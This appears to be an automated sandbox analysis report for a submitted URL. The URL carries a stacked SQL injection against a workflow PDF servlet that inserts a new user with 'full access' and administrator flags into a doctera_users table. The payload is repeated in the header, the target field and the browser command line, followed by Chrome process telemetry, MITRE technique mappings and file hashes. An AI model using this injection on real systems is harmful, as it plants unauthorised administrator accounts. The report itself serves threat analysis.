hxxps://10[.]21[.]3[.]38/workflow/servlet/pdf_servlet?jobid=1';insert into doctera_users (username, password, encpassword, firstname, lastname, company, address, address2, city, state, altphone, zip, country, phone, fax, email, lastlogin, creation, preferredserver, creditcardtype, creditcardnumber, creditcardexpiry, accountstatus, usertype, comment, admin, superadmin, acceptemail, allowhotfolder, protocol, bandwidth, directory, slowstartrate, useslowstart, slowstartaggressionrate, blocksize, unitsize, numencoders, numftpstreams, allowuserbandwidthtuning, expirydate, allowtempaccountcreation, ownerusername, userlevel, uploadmethod, pw_changeable, pw_creationdate, pw_daysbeforeexpire, pw_mustchange, pw_usedpasswords, pw_numerrors) values('3go84przgobkdkidhd7mkmzz6y4', null, 'da65d9c741fcc72a5cf1be640e485eea', '3go84przgobkdkidhd7mkmzz6y4firstname', '3go84przgobkdkidhd7mkmzz6y4lastname', '', '', '', '', '', '', '', '', '202-404-2400', '', '3go84przgobkdkidhd7mkmzz6y4@mydomain[.]local', 1714014839723, 1714013661166, 'default', '', '', '', 'full access', '', '', 1, 0, 0, 0, 'default', '0', 0, '0', 1, '', '', '', '', '', 0, 0, 0, '', 0, 'default', 0, 1714014752270, -1, 0, null, 0);-- -

Analysis

user interaction
yes
max time kernel
599s
max time network
599s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
12/07/2026, 05:51

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://10.21.3.38/workflow/servlet/pdf_servlet?jobid=1';insert into doctera_users (username, password, encpassword, firstname, lastname, company, address, address2, city, state, altphone, zip, country, phone, fax, email, lastlogin, creation, preferredserver, creditcardtype, creditcardnumber, creditcardexpiry, accountstatus, usertype, comment, admin, superadmin, acceptemail, allowhotfolder, protocol, bandwidth, directory, slowstartrate, useslowstart, slowstartaggressionrate, blocksize, unitsize, numencoders, numftpstreams, allowuserbandwidthtuning, expirydate, allowtempaccountcreation, ownerusername, userlevel, uploadmethod, pw_changeable, pw_creationdate, pw_daysbeforeexpire, pw_mustchange, pw_usedpasswords, pw_numerrors) values('3go84przgobkdkidhd7mkmzz6y4', null, 'da65d9c741fcc72a5cf1be640e485eea', '3go84przgobkdkidhd7mkmzz6y4firstname', '3go84przgobkdkidhd7mkmzz6y4lastname', '', '', '', '', '', '', '', '', '202-404-2400', '', '[email protected]', 1714014839723, 1714013661166, 'default', '', '', '', 'full access', '', '', 1, 0, 0, 0, 'default', '0', 0, '0', 1, '', '', '', '', '', 0, 0, 0, '', 0, 'default', 0, 1714014752270, -1, 0, null, 0);-- -
Sample260712-gkar5ae151

Score

6^/10

discovery

Malware Config

Signatures

Password Policy Discovery 1 TTPs
Attempt to access detailed information about the password policy used within an enterprise network.
discovery

Password Policy Discovery
T1201
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4492	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134283090934444716"	chrome.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Children	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\DisplayName = "Chrome Sandbox"	chrome.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-620072444-2846605723-1118207114-1642104096-81213792-2370344205-2712285428\Moniker = "cr.sb.odm3E4D1A088C1F6D498C84F3C86DE73CE49F82A104"	chrome.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4048	chrome.exe
4048	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

pid	Process
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe
Token: SeShutdownPrivilege	4416	chrome.exe
Token: SeCreatePagefilePrivilege	4416	chrome.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe
4416	chrome.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 4416 wrote to memory of 904	4416	chrome.exe	86
PID 4416 wrote to memory of 1960	4416	chrome.exe	87
PID 4416 wrote to memory of 1960	4416	chrome.exe	87
PID 4416 wrote to memory of 4492	4416	chrome.exe	88
PID 4416 wrote to memory of 2684	4416	chrome.exe	89
PID 4416 wrote to memory of 2684	4416	chrome.exe	89
PID 4416 wrote to memory of 2432	4416	chrome.exe	91
PID 4416 wrote to memory of 2432	4416	chrome.exe	91
PID 4416 wrote to memory of 3500	4416	chrome.exe	92
PID 4416 wrote to memory of 3500	4416	chrome.exe	92
PID 4416 wrote to memory of 2992	4416	chrome.exe	93
PID 4416 wrote to memory of 2992	4416	chrome.exe	93
PID 4416 wrote to memory of 3012	4416	chrome.exe	97
PID 4416 wrote to memory of 4932	4416	chrome.exe	105
PID 4416 wrote to memory of 4932	4416	chrome.exe	105
PID 4416 wrote to memory of 1524	4416	chrome.exe	106
PID 4416 wrote to memory of 1524	4416	chrome.exe	106
PID 4416 wrote to memory of 3296	4416	chrome.exe	109
PID 4416 wrote to memory of 2568	4416	chrome.exe	110
PID 4416 wrote to memory of 1168	4416	chrome.exe	111
PID 4416 wrote to memory of 5032	4416	chrome.exe	115
PID 4416 wrote to memory of 5032	4416	chrome.exe	115
PID 4416 wrote to memory of 4564	4416	chrome.exe	116
PID 4416 wrote to memory of 4564	4416	chrome.exe	116
PID 4416 wrote to memory of 4048	4416	chrome.exe	117
PID 4416 wrote to memory of 2564	4416	chrome.exe	118
PID 4416 wrote to memory of 2564	4416	chrome.exe	118
PID 4416 wrote to memory of 4932	4416	chrome.exe	119
PID 4416 wrote to memory of 4932	4416	chrome.exe	119
PID 4416 wrote to memory of 3928	4416	chrome.exe	126
PID 4416 wrote to memory of 3928	4416	chrome.exe	126

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://10.21.3.38/workflow/servlet/pdf_servlet?jobid=1';insert into doctera_users (username, password, encpassword, firstname, lastname, company, address, address2, city, state, altphone, zip, country, phone, fax, email, lastlogin, creation, preferredserver, creditcardtype, creditcardnumber, creditcardexpiry, accountstatus, usertype, comment, admin, superadmin, acceptemail, allowhotfolder, protocol, bandwidth, directory, slowstartrate, useslowstart, slowstartaggressionrate, blocksize, unitsize, numencoders, numftpstreams, allowuserbandwidthtuning, expirydate, allowtempaccountcreation, ownerusername, userlevel, uploadmethod, pw_changeable, pw_creationdate, pw_daysbeforeexpire, pw_mustchange, pw_usedpasswords, pw_numerrors) values('3go84przgobkdkidhd7mkmzz6y4', null, 'da65d9c741fcc72a5cf1be640e485eea', '3go84przgobkdkidhd7mkmzz6y4firstname', '3go84przgobkdkidhd7mkmzz6y4lastname', '', '', '', '', '', '', '', '', '202-404-2400', '', '[email protected]', 1714014839723, 1714013661166, 'default', '', '', '', 'full access', '', '', 1, 0, 0, 0, 'default', '0', 0, '0', 1, '', '', '', '', '', 0, 0, 0, '', 0, 'default', 0, 1714014752270, -1, 0, null, 0);-- -
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4416
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff915ddc728,0x7ff915ddc734,0x7ff915ddc740
  2⤵
  PID:904
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1712,i,10626158023630484017,2271071674228218491,262144 --field-trial-handle=1988,i,359814209959041355,17197075343163434582,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1984 /prefetch:2
  2⤵
  PID:1960
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1580,i,14816198992140417654,13247390380430828656,524288 --field-trial-handle=1988,i,359814209959041355,17197075343163434582,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2248 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4492
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2404,i,111615729262350660,236836678016808099,524288 --field-trial-handle=1988,i,359814209959041355,17197075343163434582,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2432 /prefetch:8
  2⤵
  PID:2684
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3196,i,10764606824900943616,6472655454036799713,2097152 --field-trial-handle=1988,i,359814209959041355,17197075343163434582,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3208 /prefetch:1
  2⤵
  PID:2432
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3216,i,11576548143299322784,9988455197340486279,2097152 --field-trial-handle=1988,i,359814209959041355,17197075343163434582,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3240 /prefetch:1
  2⤵
  PID:3500
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4424,i,5961738453874990302,15400985818450288652,2097152 --field-trial-handle=1988,i,359814209959041355,17197075343163434582,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4440 /prefetch:2
  2⤵
  PID:2992
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5312,i,12885083366880198346,10690682351861198124,524288 --field-trial-handle=1988,i,359814209959041355,17197075343163434582,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5308 /prefetch:8
  2⤵
  PID:3012
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4816,i,17666334832116939608,15719875733967157034,2097152 --field-trial-handle=1988,i,359814209959041355,17197075343163434582,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5560 /prefetch:1
  2⤵
  PID:4932
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5688,i,17907482795750742602,1113633967438258439,2097152 --field-trial-handle=1988,i,359814209959041355,17197075343163434582,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5376 /prefetch:1
  2⤵
  PID:1524
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3380,i,9178400910643431680,6192983795815651889,524288 --field-trial-handle=1988,i,359814209959041355,17197075343163434582,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3392 /prefetch:8
  2⤵
  PID:3296
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3928,i,2946548220758307284,9425003263766974349,524288 --field-trial-handle=1988,i,359814209959041355,17197075343163434582,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=208 /prefetch:8
  2⤵
  PID:2568
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3652,i,17515373328420635530,15128013762813192568,524288 --field-trial-handle=1988,i,359814209959041355,17197075343163434582,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3236 /prefetch:8
  2⤵
  PID:1168
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5724,i,1438971558577715598,9641464828993606033,2097152 --field-trial-handle=1988,i,359814209959041355,17197075343163434582,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5780 /prefetch:1
  2⤵
  PID:5032
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5616,i,6467014281983866843,13010423231319389027,2097152 --field-trial-handle=1988,i,359814209959041355,17197075343163434582,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3240 /prefetch:1
  2⤵
  PID:4564
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=3444,i,15399383743324606196,7441686723438224854,262144 --field-trial-handle=1988,i,359814209959041355,17197075343163434582,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5712 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4048
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=5740,i,10373976481658585279,14110098962794640457,524288 --field-trial-handle=1988,i,359814209959041355,17197075343163434582,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5324 /prefetch:8
  2⤵
  PID:2564
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=3392,i,3517932539014231546,18052074113326989744,2097152 --field-trial-handle=1988,i,359814209959041355,17197075343163434582,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5776 /prefetch:1
  2⤵
  PID:4932
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=3452,i,3719014879758932723,8992712877367406892,2097152 --field-trial-handle=1988,i,359814209959041355,17197075343163434582,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=732 /prefetch:1
  2⤵
  PID:3928

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4196

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1844

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Password Policy Discovery

T1201

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

BrowsingTopicsState

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
Size 414B
SHA256 aef07e3e0c081f013f9746b9ad6d93541896ecdc3964ca8d593ce386bdd18661
MD5 29a7f7c1793564cf333c38924db20540
SHA1 509710ff8b717a7edf2ddab4942204f6c059b6e6
SHA512 6581e0d3f2a8faf9f769c5cb708bb99f32e1db010bc1296435cd714641ff236dc5d9bd45e2b7b07855a37accd318db038ec0a085408c4154dfb6e908016d8906
TLSH
T1F3E02B9ACC62EC271CFD871D50544646EA5013572B60895F3B3C81088FB1AB70586E5C
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 bc2d42a78aeb69aca9527b1d936fdcacb62f3b2c9b2b78b52297ee76e4f1b36e
MD5 ef8131e8a45ca4e3a40bd5a56d16571f
SHA1 e1ba40ebea0802793ccc22a6adbabe0986d61a1d
SHA512 9c0f04a6b610b43e7ae1d03aee52f0a4a8179f7ee65f3e1c59d698daee5fce897d2875829657c573c883ec604fcba3c0fd9d9f758bf77689350b494c756c78a8
TLSH
T1C1419EF783F4857D8A1196F8EB156E1FCE690524032C3CA688D86E2B93F2972D10079F
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 72ec4552bfaabf7e7260319970946d7d92102a00790a3f6cead63f6ec8a67348
MD5 bd860f49747be564a2fe1e69198fa7e4
SHA1 ff55d248cef83c89c271c8a73775bf5ff7141f71
SHA512 86cabe91d72e929f5747e90d81fdcdb84f657e6082647acce6a9169779ed862aa2be13d024d8a2b9940f44ad4befce17eff86e2a403dbc88c69f5366e2e96eda
TLSH
T1CE418CF793F4857E861192E4EB156E1FCE690524031C3CA6C9D86E2B53F2872D10079E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 b0e5a664aaa1fd354f61054e300ef021f284e7b2f345f168226fa05a793fe8a5
MD5 35fb049057f11b236f9c721166983de8
SHA1 7be1c39cb5de9882565880eb124a0ba16a70ee29
SHA512 4100b028ecfc79e4d6c68929770a053a2ee1692867fe5e540467dec79d22fab318d18c4f2b1a737d8d54c1a52a7ee6888323e9a7824793b7ec7e9024b8eb26ac
TLSH
T1B4417DF793F4857D8A1196F8EB156E1FCE690524032C3CA689D46E2B93E2972D14078F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
